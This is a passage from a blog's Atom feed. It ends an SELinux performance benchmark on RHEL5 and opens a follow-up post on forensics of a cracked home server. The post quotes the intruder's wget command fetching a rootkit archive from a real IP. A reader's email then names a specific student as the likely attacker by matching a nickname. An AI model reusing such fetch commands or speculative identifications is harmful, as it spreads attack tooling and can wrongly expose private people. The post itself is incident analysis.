the most important feature. SELinux RBAC authorize each (SELinux) user for a set of roles. Each role is authorized to a set of types.&lt;p&gt;This is accomplished using four security attributes:&lt;ol&gt;  &lt;li&gt;&lt;strong&gt;User identity:&lt;/strong&gt; SELinux has its own user database which are mapped to normal Linux users. The identities are used on both subject and objects. Only a few SELinux users are defined: (can be listed by &lt;em&gt;'semanage user -l'&lt;/em&gt;):   &lt;ul&gt;     &lt;li&gt;&lt;strong&gt;user_u&lt;/strong&gt; - normal users.&lt;/li&gt;     &lt;li&gt;&lt;strong&gt;system_u&lt;/strong&gt; - processes started (at boot).&lt;/li&gt;     &lt;li&gt;&lt;strong&gt;root&lt;/strong&gt; - administrator.&lt;/li&gt;  &lt;/ul&gt;&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Role:&lt;/strong&gt; Users may enter into different roles. Different roles may enter different domains. For objects (files), this is always &lt;em&gt;object_r&lt;/em&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Type / domain:&lt;/strong&gt; The &quot;main&quot; attribute in SELinux. Also called the &quot;primary attribute&quot;. It is usually only a few users/roles defined, but hundreds of types. There is no difference between &quot;type&quot; and &quot;domain&quot;, but &quot;domains&quot; are used when talked about processes and &quot;type&quot; when talking about files. Each process is confined in it own sandbox with restricted access, also called &quot;Type Enforcement&quot;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Category / level:&lt;/strong&gt; May set category and/or level. Introduced in RHEL 5 and enables Multi Level Security (MLS) or Multi Category Security (MCS).&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;These four security attributes build up what is called a &quot;security context&quot;:&lt;p&gt;&lt;p&gt;&lt;strong&gt;&lt;font color=&quot;#a52a2a&quot;&gt;&amp;lt;user&amp;gt;&lt;/font&gt;:&lt;font color=&quot;#c3b200&quot;&gt;&amp;lt;role&amp;gt;&lt;/font&gt;:&lt;font color=&quot;#0000c1&quot;&gt;&amp;lt;type&amp;gt;&lt;/font&gt;:&lt;font color=&quot;#008600&quot;&gt;&amp;lt;category/level&amp;gt;&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;&lt;table border=&quot;0&quot; cellpadding=&quot;3&quot;&gt;    &lt;tr bgcolor=&quot;#999999&quot;&gt;      &lt;td&gt;&lt;strong&gt;Security attribute&lt;/strong&gt;&lt;/td&gt;      &lt;td&gt;&lt;strong&gt;Name convention&lt;/strong&gt;&lt;/td&gt;      &lt;td&gt;&lt;strong&gt;Example name&lt;/strong&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;      &lt;td&gt;&lt;font color=&quot;#a52a2a&quot;&gt;User&lt;/font&gt;&lt;/td&gt;      &lt;td&gt;&lt;font color=&quot;#a52a2a&quot;&gt;_u&lt;/font&gt;&lt;/td&gt;      &lt;td&gt;&lt;font color=&quot;#a52a2a&quot;&gt;user_u&lt;/font&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;      &lt;td&gt;&lt;font color=&quot;#c3b200&quot;&gt;Role&lt;/font&gt;&lt;/td&gt;      &lt;td&gt;&lt;font color=&quot;#c3b200&quot;&gt;_r&lt;/font&gt;&lt;/td&gt;      &lt;td&gt;&lt;font color=&quot;#c3b200&quot;&gt;object_r&lt;/font&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;      &lt;td&gt;&lt;font color=&quot;#0000c1&quot;&gt;Type&lt;/font&gt;&lt;/td&gt;      &lt;td&gt;&lt;font color=&quot;#0000c1&quot;&gt;_t&lt;/font&gt;&lt;/td&gt;      &lt;td&gt;&lt;font color=&quot;#0000c1&quot;&gt;unconfined_t&lt;/font&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;      &lt;td&gt;&lt;font color=&quot;#008600&quot;&gt;Category / level&lt;/font&gt;&lt;/td&gt;      &lt;td&gt;&lt;font color=&quot;#008600&quot;&gt;(none)&lt;/font&gt;&lt;/td&gt;      &lt;td&gt;&lt;font color=&quot;#008600&quot;&gt;s0:c0&lt;/font&gt;&lt;/td&gt;    &lt;/tr&gt;&lt;/table&gt;&lt;p&gt;To view the security context of files and/or processes, the option &quot;Z&quot; is used:&lt;p&gt;&lt;pre&gt;&amp;#36; &lt;strong&gt;ls -Z /etc/passwd&lt;/strong&gt;&lt;br&gt;-rw-r--r--  root root system_u:object_r:etc_t          /etc/passwd&lt;br&gt;&amp;#36; &lt;strong&gt;ps Z -C sshd&lt;/strong&gt;&lt;br&gt;LABEL                             PID TTY      STAT   TIME COMMAND&lt;br&gt;system_u:system_r:unconfined_t:SystemLow-SystemHigh 2021 ? Ss   0:00 /usr/sbin/sshd&lt;br&gt;system_u:system_r:unconfined_t:SystemLow-SystemHigh 16795 ? Ss   0:00 sshd: lars [priv]&lt;br&gt;system_u:system_r:unconfined_t:SystemLow-SystemHigh 16797 ? S   0:01 sshd: lars@pts/1 &lt;br&gt;system_u:system_r:unconfined_t:SystemLow-SystemHigh 24700 ? Ss   0:00 sshd: lars [priv]&lt;br&gt;system_u:system_r:unconfined_t:SystemLow-SystemHigh 24702 ? S   0:00 sshd: lars@pts/0 &lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;SELinux MAC&quot;&gt;1c. SELinux MAC&lt;/a&gt;&lt;/font&gt;&lt;p&gt;Lets look closer on the decision making process in the kernel. When a subject (process) wants to access an object (for example a file), it must first be granted by DAC. Then the decision is sent to SELinux via LSM. In SELinux the Policy Enforcment Server does a lookup in the Access Vector Cache (AVC) where earlier subject and objects permission are cached. If the decision is not found in the AVC, the request continues to the Security Server which looks up the security context of the file and consult the policy. Permission is then either denied or granted. The result is cached in the AVC. Se figure below for a graphical illustration:&lt;p&gt;&lt;img width=&quot;1042&quot; height=&quot;433&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_2_original.png&quot; alt=&quot;&quot;&gt;&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;Security policy&quot;&gt;1d. Security policy&lt;/a&gt;&lt;/font&gt;&lt;p&gt;SELinux consists of:&lt;ol&gt;  &lt;li&gt;Kernel module. Included in the mainline kernel since 2.6.  &lt;li&gt;Library 'libselinux' used by userspace programs (ls, ps, id, ...).  &lt;li&gt;Administrative tools (&quot;SELinux Management Tool&quot;, sestatus, ...).  &lt;li&gt;Security policy.&lt;/ol&gt;&lt;p&gt;The policy is written in m4 (same as the config file in Sendmail), compiled and loaded into the kernel at boot time. Writing new or changing existing policy directly might not be intuitive for new users so RedHat has invested a lot of effort into creating user-friendly (graphical) administrative tools. The policy has also been made modular, so it is easier to turn of TE for certain programs. &lt;p&gt;But the policy does not cover the whole system. In RHEL4 only 15 network based services (apache, bind, ntp, ...) where covered by the policy. The rest of the system ran in an &quot;unconfined_t&quot; domain which is a special domain with no restrictions (same as if SELinux was not running). In RHEL5, the number of programs covered by the policy are over 200. &quot;Covered&quot; here means that the program are confined to its own &quot;domain&quot; with restricted privileges.&lt;p&gt;&lt;img width=&quot;647&quot; height=&quot;355&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_3_original.png&quot; alt=&quot;&quot;&gt;&lt;p&gt;In RHEL/Fedora &quot;strict&quot; and &quot;MLS&quot; policy may also be installed, but they are unsupported. In the &quot;strict&quot; policy, every subject and object exists in a specific domain. The &quot;MLS&quot; policy enforces military style security levels and uses the &lt;a href=&quot;http://en.wikipedia.org/wiki/Bell-LaPadula_model&quot;&gt;Bell-La Padula model (BLP)&lt;/a&gt;. The (binary) size of the policies also varies according to how much they cover. The &quot;strict&quot; policy is more than double in size of the &quot;targeted&quot;:&lt;ul&gt;  &lt;li&gt;Targeted: 1.1 MB  &lt;li&gt;Strict: 2.5 MB  &lt;li&gt;MLS: 2.1 MB&lt;/ul&gt;&lt;p&gt;SELinux may run either in &quot;enforcing&quot; or &quot;permissive&quot; mode. In &quot;permissive&quot; mode access control is checked against the security policy but not enforced. Instead warnings are printed to a log file when policy is violated (nice for debugging). When SELinux run in &quot;enforcing&quot; mode, the policy is enforced. &lt;p&gt;The /selinux pseudo-filesystem gives access to SELinux variables and AVC statistics. I wrote a &lt;a href=&quot;http://munin.projects.linpro.no/&quot;&gt;Munin&lt;/a&gt; plugin to monitor the AVC (&lt;a href=&quot;http://blog.gnist.org/download/selinux/selinux_avcstat&quot;&gt;download&lt;/a&gt;). The graphs below shows the load on the AVC. No active services (besides Munin) to the left and running the MySQL benchmark to the right. &lt;p&gt;&lt;img width=&quot;1000&quot; height=&quot;324&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_4_original.png&quot; alt=&quot;&quot;&gt;&lt;p&gt;When running real-life load or doing benchmarking, several hundred thousand AVC lookups per seconds are preformed. &lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;AppArmor&quot;&gt;1e. AppArmor&lt;/a&gt;&lt;/font&gt;&lt;p&gt;AppArmor (&quot;Application Armor&quot;) is a competing technology to SELinux. It enables MAC in the kernel using LSM, the same as SELinux, but takes a different approach. For instance it uses full path names instead of inode names for file objects. &lt;p&gt;Immunix created AppArmor as an alternative to SELinux, which was considered to hard to administer. Immunix was later aquired by Novell, and included in Novell Suse. Creating and maintaining AppArmor polices is user friendly, and that has led other Linux distributions, like Ubuntu and Mandriva, to include it in the default install. The overhead using AppArmor is said to be around 2% [&lt;a href=&quot;#Novell3&quot;&gt;Cowan&lt;/a&gt;].&lt;p&gt;In a surprise move, Novell laid of most of their AppArmor devlopers in September 2007 [&lt;a href=&quot;#Novell1&quot;&gt;news.com&lt;/a&gt;] [&lt;a href=&quot;#Novell2&quot;&gt;linux-magazine.com&lt;/a&gt;]. Making the future of AppArmor more uncertain and depended upon the open source community to continue the development. One indication of popularity can be seen in &lt;a href=&quot;http://www.google.com/trends?q=selinux%2C+apparmor&amp;amp;ctab=0&amp;amp;hl=en&amp;amp;geo=all&amp;amp;date=all&amp;amp;sort=0&quot;&gt;Google trends&lt;/a&gt;.&lt;p&gt;&lt;strong&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;Test Setup&quot;&gt;2. Test setup&lt;/a&gt;&lt;/font&gt;&lt;/strong&gt;&lt;p&gt;Two nodes, connected through a gigabit switch as shown in the illustration below:&lt;p&gt;&lt;img width=&quot;697&quot; height=&quot;350&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_5_original.png&quot; alt=&quot;&quot;&gt;&lt;p&gt;Hardware specification given in the tabel below. I turned off CPU stepping on the laptop.&lt;table cellspacing=&quot;0&quot; cellpadding=&quot;3&quot;&gt;&lt;tr bgcolor=&quot;#333333&quot;&gt;  &lt;td&gt;&lt;strong&gt;&lt;font color=&quot;#FFFFFF&quot;&gt;Hardware&lt;/font&gt;&lt;/strong&gt;&lt;/td&gt;  &lt;td&gt;&lt;strong&gt;&lt;font color=&quot;#FFFFFF&quot;&gt;Laptop&lt;/font&gt;&lt;/strong&gt;&lt;/td&gt;  &lt;td&gt;&lt;strong&gt;&lt;font color=&quot;#FFFFFF&quot;&gt;Workstation&lt;/font&gt;&lt;/strong&gt;&lt;/td&gt;  &lt;td&gt;&lt;strong&gt;&lt;font color=&quot;#FFFFFF&quot;&gt;Switch&lt;/font&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td bgcolor=&quot;#999999&quot;&gt;&lt;strong&gt;Model:&lt;/strong&gt;&lt;/td&gt;  &lt;td&gt;Fujitsu Siemens Lifebook S7020D&lt;/td&gt;  &lt;td&gt;OptiPlex 745&lt;/td&gt;  &lt;td&gt;D-Link DGS-1008D&lt;/td&gt;&lt;tr&gt;  &lt;td bgcolor=&quot;#999999&quot;&gt;&lt;strong&gt;CPU:&lt;/strong&gt;&lt;/td&gt;  &lt;td&gt;Intel(R) Pentium(R) M 2.00GHz&lt;/td&gt;  &lt;td&gt;Intel(R) Core(TM)2 CPU 2.13GHz&lt;/td&gt;  &lt;td&gt;&lt;/td&gt;&lt;tr&gt;  &lt;td bgcolor=&quot;#999999&quot;&gt;&lt;strong&gt;RAM:&lt;/strong&gt;&lt;/td&gt;  &lt;td&gt;2 GB&lt;/td&gt;  &lt;td&gt;4 GB&lt;/td&gt;  &lt;td&gt;&lt;/td&gt;&lt;tr&gt;  &lt;td bgcolor=&quot;#999999&quot;&gt;&lt;strong&gt;Ethernet:&lt;/strong&gt;&lt;/td&gt;  &lt;td&gt;Broadcom NetXtreme BCM5751M PCI Express (Gbps)&lt;/td&gt;  &lt;td&gt;Broadcom NetXtreme BCM5754 PCI Express (Gbps)&lt;/td&gt;  &lt;td&gt;8 port Gbps&lt;/td&gt;&lt;tr&gt;  &lt;td bgcolor=&quot;#999999&quot;&gt;&lt;strong&gt;Disk:&lt;/strong&gt;&lt;/td&gt;  &lt;td&gt;SATA: 80GB, Seagate ST98823AS&lt;/td&gt;  &lt;td&gt;SATA: 250GB, WDC WD2500JS-75N&lt;/td&gt;  &lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;p&gt;Output from &quot;lshw&quot; can be found here: &lt;a href=&quot;http://blog.gnist.org/download/selinux/lshw-laptop.log&quot;&gt;Laptop&lt;/a&gt; and &lt;a href=&quot;http://blog.gnist.org/download/selinux/lshw-workstation.log&quot;&gt;Workstation&lt;/a&gt;.&lt;a href=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_11_original.png&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;123&quot; align=&quot;right&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_11.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;p&gt;The operating system tested was RedHat Enterprise Linux 5 (RHEL5) Server. The laptop ran i386 (32 bits) version, but the workstation ran both i386 and x64 (64 bits) version. The client was running Ubuntu 7.04. So when RHEL5 was tested on the workstation, the laptop ran Ubuntu 7.4 and vice versa. &lt;p&gt;One little trivia: When testing, I was surprised when I found out that my laptop, with a gigabit interface, could could sustain 1Gbps network traffic. Se screenshot from &quot;iptraf&quot; to the right. &lt;p&gt;&lt;strong&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;The Tests&quot;&gt;3. The Tests&lt;/a&gt;&lt;/font&gt;&lt;/strong&gt;&lt;p&gt;When SELinux is deployed, it is to provide an extra layer of security to existing services. Knowing the performance penalty when running SELinux on common (network based) services was the goal. The first task was to find good benchmark tools. I tested Apache prefork and worker (threaded), Postfix and MySQL.&lt;p&gt;To flush out different caches (file cache, AVC etc.), the machine was rebootet between each test. All relevant files (log-files, mailboxes etc.) were also blanked before each new test. &lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;Apache&quot;&gt;3a. Apache&lt;/a&gt;&lt;/font&gt;&lt;p&gt;Apache can run using a prefork model, where each request is assigned to a free Apache process. New processes are forked if the number of requests gets high. When running as &quot;worker&quot;, Apache uses threads instead of forking. This is not default behavior for Apache on RHEL since PHP is not compatible with this mode. Worker mode is slightly faster than prefork as seen from the graphs below.&lt;p&gt;The test was used running Apaches own benchmark tool &quot;ab&quot;. It was run against the same html-file. For each host, eleven tests with different concurrent connections (1 up to 255) each with 100000 requests was performed. The ab-test script can be downloaded &lt;a href=&quot;http://blog.gnist.org/download/selinux/ab-test1.sh&quot;&gt;here&lt;/a&gt; and the index.html file &lt;a href=&quot;http://blog.gnist.org/download/selinux/test.html&quot;&gt;here&lt;/a&gt;.&lt;p&gt;Using a default (RHEL) httpd.conf, modifying only the number allowed clients (to 256).&lt;p&gt;This test uses a lot of network traffic, process handling (fork or thread) and disk read (html file) and write (log file). &lt;p&gt;Below is the result from the prefork results. For each host the average for all 11 tests are shown:&lt;p&gt;&lt;img width=&quot;751&quot; height=&quot;487&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_6_original.png&quot; alt=&quot;&quot;&gt;&lt;p&gt;The same results with Apache worker (threaded):&lt;p&gt;&lt;img width=&quot;750&quot; height=&quot;503&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_7_original.png&quot; alt=&quot;&quot;&gt;&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;Postfix&quot;&gt;3b. Postfix&lt;/a&gt;&lt;/font&gt;&lt;p&gt;Postfix is a popular mail server (MTA) and a rival to Sendmail. It is composed of several daemons, each responsible for performing a specific task (putting the mail in the queue, final delivery to the user's mailbox etc.). Read more about the different components in Postfix when receiving mail &lt;a href=&quot;http://www.postfix.org/receiving.html&quot;&gt;here&lt;/a&gt;.&lt;p&gt;The test was performed running Postfix' &quot;smtp-source&quot; against a Postfix mail server. The program is a SMTP test generator which connects to a mail server and send messages to it (sequentially or in parallel). Testing was done from &lt;em&gt;and measured on the client&lt;/em&gt; sending 10000 messages four times with different concurrent connections (1 to 1000) (&lt;a href=&quot;http://blog.gnist.org/download/selinux/smtp-source.sh&quot;&gt;test script&lt;/a&gt;). Time taken was taken from the first to the last mail sent. &lt;p&gt;Using a fairly default (RHEL) main.cf, changing only the listing interface from &quot;localhost&quot; to &quot;all&quot;. &lt;p&gt;This test uses a lot of network traffic, process handling and primarily disk write (mails and logs).&lt;p&gt;Four tests for each host. Average results shown:&lt;p&gt;&lt;img width=&quot;748&quot; height=&quot;485&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_8_original.png&quot; alt=&quot;&quot;&gt;&lt;p&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;MySQL&quot;&gt;3c. MySQL&lt;/a&gt;&lt;/font&gt;&lt;p&gt;MySQL is a popular database. It is multi-threaded and does not fork new processes. The benchmark tool was MySQL own &quot;MySQL Benchmark suite&quot;, running all tests (&quot;run-all-tests&quot;). The test was started on the same host as the MySQL-server, so all communication was over a unix-socket. Around 3 million tests done in each run, but these are mostly CPU-bound, which can be seen from the results (low SELinux overhead):&lt;p&gt;&lt;img width=&quot;746&quot; height=&quot;505&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_9_original.png&quot; alt=&quot;&quot;&gt;&lt;p&gt;&lt;strong&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;Conclusion&quot;&gt;4. Conclusion&lt;/a&gt;&lt;/font&gt;&lt;/strong&gt;&lt;p&gt;There is no &quot;official&quot; number for how much performance penalty SELinux introduces. &lt;a href=&quot;http://docs.fedoraproject.org/selinux-faq-fc5/#id2965028&quot;&gt;The Fedora Core FAQ&lt;/a&gt; says its hard to measure but states: &lt;em&gt;&quot;When performance was last measured, the impact was around 7% for completely untuned code.&quot;&lt;/em&gt; Performance depends on how the program behaves, the security policy written for it and the particular usage of that program. We've seen that more CPU bound programs, like the MySQL benchmark, has less SELinux overhead since the process itself spend more time on the CPU and less interaction with other part of the system (disk access, network traffic etc.).&lt;p&gt;If we combine all the result above, we come up with an average penalty of around 6%. Which is pretty close to 7% stated in the Fedora FAQ.&lt;p&gt;&lt;img width=&quot;631&quot; height=&quot;495&quot; src=&quot;http://blog.gnist.org/images/articles/RHEL5-SELinux-Benchmark_10_original.png&quot; alt=&quot;&quot;&gt;&lt;hr&gt;&lt;p&gt;&lt;strong&gt;&lt;font size=&quot;+1&quot;&gt;&lt;a name=&quot;References&quot;&gt;5. References&lt;/a&gt;&lt;/font&gt;&lt;/strong&gt;&lt;p&gt;&lt;strong&gt;News&lt;/strong&gt;&lt;ol&gt;  &lt;li&gt;&quot;Novell lays off AppArmor programmers&quot;: &lt;a name=&quot;Novell1&quot; href=&quot;http://www.news.com/8301-13580_3-9796140-39.html&quot;&gt;  http://www.news.com/8301-13580_3-9796140-39.html&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&quot;Novell Dismisses AppArmor Developer&quot;: &lt;a name=&quot;Novell2&quot; href=&quot;http://www.linux-magazine.com/online/news/novell_dismisses_apparmor_developer&quot;&gt;  http://www.linux-magazine.com/online/news/novell_dismisses_apparmor_developer&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;&quot;SELinux sparks tussle over Linux security model&quot;: &lt;a name=&quot;LSM1&quot; href=&quot;http://www.gcn.com/online/vol1_no1/45236-1.html&quot;&gt;  http://www.gcn.com/online/vol1_no1/45236-1.html&lt;/a&gt;  &lt;li&gt;&quot;Torvalds irate over Linux Smack&quot;: &lt;a name=&quot;LSM2&quot; href=&quot;http://www.vnunet.com/vnunet/news/2200143/linus-irate-linux-smacking&quot;&gt;  http://www.vnunet.com/vnunet/news/2200143/linus-irate-linux-smacking&lt;/a&gt;  &lt;li&gt;&quot;Securing Linux Systems with AppArmor&quot; presented by Crispin  Cowan at DefCon 15 2007: &lt;a name=&quot;Novell3&quot; href=&quot;http://video.google.com/videoplay?docid=-1731833784646588861&quot;&gt;  http://video.google.com/videoplay?docid=-1731833784646588861&lt;/a&gt;   &lt;li&gt;&quot;Five ways SELinux may surprise you&quot;: &lt;a name=&quot;Surprise1&quot; href=&quot;http://searchenterpriselinux.techtarget.com/columnItem/0,294698,sid39_gci1253747,00.html&quot;&gt; http://searchenterpriselinux.techtarget.com/columnItem/0,294698,sid39_gci1253747,00.html&lt;/a&gt;  &lt;li&gt;&quot;Uncovering the secrets of SE Linux&quot;:&lt;a name=&quot;Loeb1&quot; href=&quot;http://www-128.ibm.com/developerworks/library/s-selinux/?n-s-381&quot;&gt; http://www-128.ibm.com/developerworks/library/s-selinux/?n-s-381&lt;/a&gt;&lt;/ol&gt;&lt;strong&gt;Documentation&lt;/strong&gt;&lt;ol&gt;  &lt;li&gt;&quot;NSA: Security-Enhanced Linux&quot;: &lt;a name=&quot;NSA1&quot; href=&quot;http://www.nsa.gov/selinux/&quot;&gt;http://www.nsa.gov/selinux/&lt;/a&gt;  &lt;li&gt;&quot;RHEL5 Manual: Chapter 43 Security and SELinux&quot;: &lt;a name=&quot;RHEL5&quot; href=&quot;http://www.redhat.com/docs/manuals/enterprise/RHEL-5-manual/Deployment_Guide-en-US/selg-overview.html&quot;&gt;  http://www.redhat.com/docs/manuals/enterprise/RHEL-5-manual/Deployment_Guide-en-US/selg-overview.html&lt;/a&gt;   &lt;li&gt;&quot;RHEL4 SELinux Guide&quot;: &lt;a name=&quot;RHEL4&quot; href=&quot;http://www.redhat.com/docs/manuals/enterprise/RHEL-4-Manual/selinux-guide/&quot;&gt;  http://www.redhat.com/docs/manuals/enterprise/RHEL-4-Manual/selinux-guide/&lt;/a&gt;  &lt;li&gt;&quot;Gentoo: Working with SELinux&quot;: &lt;a name=&quot;Gentoo&quot; href=&quot;http://www.gentoo.org/proj/en/hardened/selinux/selinux-handbook.xml?part=3&quot;&gt; http://www.gentoo.org/proj/en/hardened/selinux/selinux-handbook.xml?part=3&lt;/a&gt;  &lt;li&gt;Red Hat SELinux developer Daniel Walsh's blog: &quot;danwalsh's  Journal&quot;: &lt;a name=&quot;Walsh1&quot; href=&quot;http://danwalsh.livejournal.com/&quot;&gt;  http://danwalsh.livejournal.com/&lt;/a&gt;  &lt;li&gt;&quot;Fedora SELinux FAQ&quot;: &lt;a name=&quot;FedoraSELinux1&quot; href=&quot;http://docs.fedoraproject.org/selinux-faq/&quot;&gt;  http://docs.fedoraproject.org/selinux-faq/&lt;/a&gt;   &lt;li&gt;&quot;SuSE AppArmor&quot;: &lt;a name=&quot;AppArmor&quot; href=&quot;http://en.opensuse.org/Apparmor&quot;&gt; http://en.opensuse.org/Apparmor&lt;/a&gt;&lt;/ol&gt;&lt;strong&gt;Books&lt;/strong&gt;&lt;ol&gt;   &lt;li&gt;Matthew Bishop. &lt;a name=&quot;Bishop1&quot; href=&quot;http://nob.cs.ucdavis.edu/book/book-aands/index.html&quot;&gt;  &lt;i&gt;Computer Security: Art and Science&lt;/i&gt;&lt;/a&gt;. Addison Wesley, Dec  2002. (&lt;a href=&quot;http://books.google.com/books?id=pfdBiJNfWdMC&amp;amp;pg=PP1&amp;amp;dq=matthew+bishop+computer+security&amp;amp;ei=WocbR93BIKjA7AKohdWTBQ&amp;amp;sig=shllMFt8bBAwYEI2KZqaVaIoVtk#PPP1,M1&quot;&gt;Excerpts at &quot;Google Books&quot;&lt;/a&gt;).   &lt;li&gt;Ross J. Anderson. &lt;a name=&quot;Anderson1&quot; href=&quot;http://www.cl.cam.ac.uk/~rja14/book.html&quot;&gt;&lt;i&gt;Security  Engineering: A Guide to Building Dependable Distributed  Systems&lt;/i&gt;&lt;/a&gt;. John Wiley &amp;amp; Sons, Apr 2001.  &lt;li&gt;Bill McCarty. &lt;a name=&quot;McCarty1&quot; href=&quot;http://www.oreilly.com/catalog/selinux/&quot;&gt;&lt;i&gt;SELinux&lt;/i&gt;&lt;/a&gt;.  O'Reilly, Oct 2004.&lt;/ol&gt;&lt;hr&gt;</content>
</entry>
<entry>
<title type="html">Holiday cracking - redux</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=HolidayCracking-redux"/>
<id>tag:blog.gnist.org,2007-11-03:/article.php?story=HolidayCracking-redux</id>
<published>2007-11-03T19:17:00+01:00</published>
<updated>2007-11-03T19:17:00+01:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">&lt;p&gt;&lt;em&gt;&lt;strong&gt;Update 3. Nov 2007:&lt;/strong&gt; Dug  up some more interesting stuff.&lt;/em&gt;&lt;p&gt;The &lt;a href=&quot;http://blog.gnist.org/article.php?story=HollidayCracking&quot;&gt;&quot;holiday cracking&quot;&lt;/a&gt; story got far more attention than I ever would have imagined. If I had known it would get so massive attention, I sure would have done a more throughly job. Interestingly, after the posting I have received some pretty interesting feedback - even an email from the cracker himself! It sure helps getting on &lt;a href=&quot;http://it.slashdot.org/article.pl?sid=07/08/24/179247&quot;&gt;Slashdot&lt;/a&gt; and posted on &lt;a href=&quot;http://www.schneier.com/blog/archives/2007/08/how_a_linux_ser.html&quot;&gt;Bruce Schneier's&lt;/a&gt; blog!
&lt;p&gt;In fact, when the story hit /., I first thought that I was finally being &lt;a href=&quot;http://en.wikipedia.org/wiki/Denial-of-service_attack&quot;&gt;DoS'ed&lt;/a&gt; by an angry exposed cracker. But I quickly found out that it was the &quot;normal&quot; slashdot effect. You can see the traffic increase from the graph: The first traffic increase is from Schneier (week 33), the second is slashdot (week 34). &lt;a href=&quot;http://blog.gnist.org/images/articles/HolidayCracking-redux_1_original.png&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;122&quot; align=&quot;right&quot; src=&quot;http://blog.gnist.org/images/articles/HolidayCracking-redux_1.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;p&gt;First one clarification. The cracked server was an (old and rusty) personal server, hosting nothing more than backup of some digital pictures hooked up through ADSL. The server was not part of production system running some critical services. The only exposed services to the Internet were SSH and Apache (no PHP as I recall). Hunting down this little cracker was just for fun. &lt;p&gt;It was also interesting to read the comments. A lot of the usual nonsense crap (&lt;i&gt;&quot;I pity the fool who cracks your system, fool!&quot;&lt;/i&gt;), to more fun details (&lt;i&gt;&quot;He should've symlinked .bash_history to /dev/random!&quot;&lt;/i&gt;) but also some very helpful and constructive comments. I would in particular mention the SANS whitepaper &lt;a href=&quot;http://www.sans.org/reading_room/whitepapers/honors/?portal=5f54d8a6081574e3865925eec1989082&quot;&gt;&quot;Dead Linux Machines Do Tell Tales&quot;&lt;/a&gt; by James Fung (local copy &lt;a href=&quot;http://blog.gnist.org/download/crack/SANS-DeadLinuxMachinesDoTellTales.pdf&quot;&gt;here&lt;/a&gt;) - a couple of years old, but still a very interesting read. Another good tip, was the software &lt;a href=&quot;http://www.chkrootkit.org/&quot;&gt;chkrootkit&lt;/a&gt; and &lt;a href=&quot;http://rkhunter.sourceforge.net/&quot;&gt;rkhunter&lt;/a&gt;, both helpful in finding and identifying rootkits.&lt;p&gt;Several polish users have sent me translations from the hosts used in the crack:&lt;p&gt;The cacker used the bot &quot;psotnic&quot; which translates to &quot;rascal&quot; or &quot;urchin&quot;. Se &lt;a href=&quot;http://en.wikipedia.org/wiki/Psotnic&quot;&gt;wikipedias entry on psotnic&lt;/a&gt; for more info.&lt;ul&gt;  &lt;li&gt;&lt;strong&gt;&quot;4lo.bydg.pl&quot;&lt;/strong&gt; - IV High School in Bydgoszcz. The IP-address 83.19.148.250 resolves to this host.  &lt;li&gt;&lt;strong&gt;&quot;matsys&quot;&lt;/strong&gt; - A popular nickname. Short version of &quot;Mateusz&quot; (male).  &lt;li&gt;&lt;strong&gt;&quot;pliki&quot;&lt;/strong&gt; - files.&lt;/ul&gt;&lt;p&gt;So &lt;em&gt;wget http://83.19.148.250/~matys/pliki/shv5.tar.gz&lt;/em&gt; gives more sense. &lt;p&gt;A polish reader, Michal Bartkowiak, did some more digging on the polish web-pages and found more interesting stuff:&lt;p&gt;&lt;pre&gt;Ok, so let's take a look at this school website (4lo.bydg.pl). Search&lt;br&gt;option is in menu on left side (&quot;szukaj&quot; in polish). But search for&lt;br&gt;what? Maybe &quot;matys&quot;.. nothing. I'm assuming that name of this account's&lt;br&gt;owner is &quot;Mateusz&quot;.. three results. Click on first one&lt;br&gt;     (&lt;a href=&quot;http://4lo.bydg.pl//index.php?option=com_content&amp;amp;task=section&amp;amp;id=44&amp;amp;Itemid=93&quot;&gt; http://4lo.bydg.pl//index.php?option=com_content&amp;amp;task=section&amp;amp;id=44&amp;amp;Itemid=93&lt;/a&gt;)&lt;br&gt;&lt;br&gt;and you will get a list of names from competition. Three persons with&lt;br&gt;first name &quot;Mateusz&quot;. Wait a minute, surname of first guy is &quot;Lapinski&quot;&lt;br&gt;(written without polish fonts), which looks very fimilar to 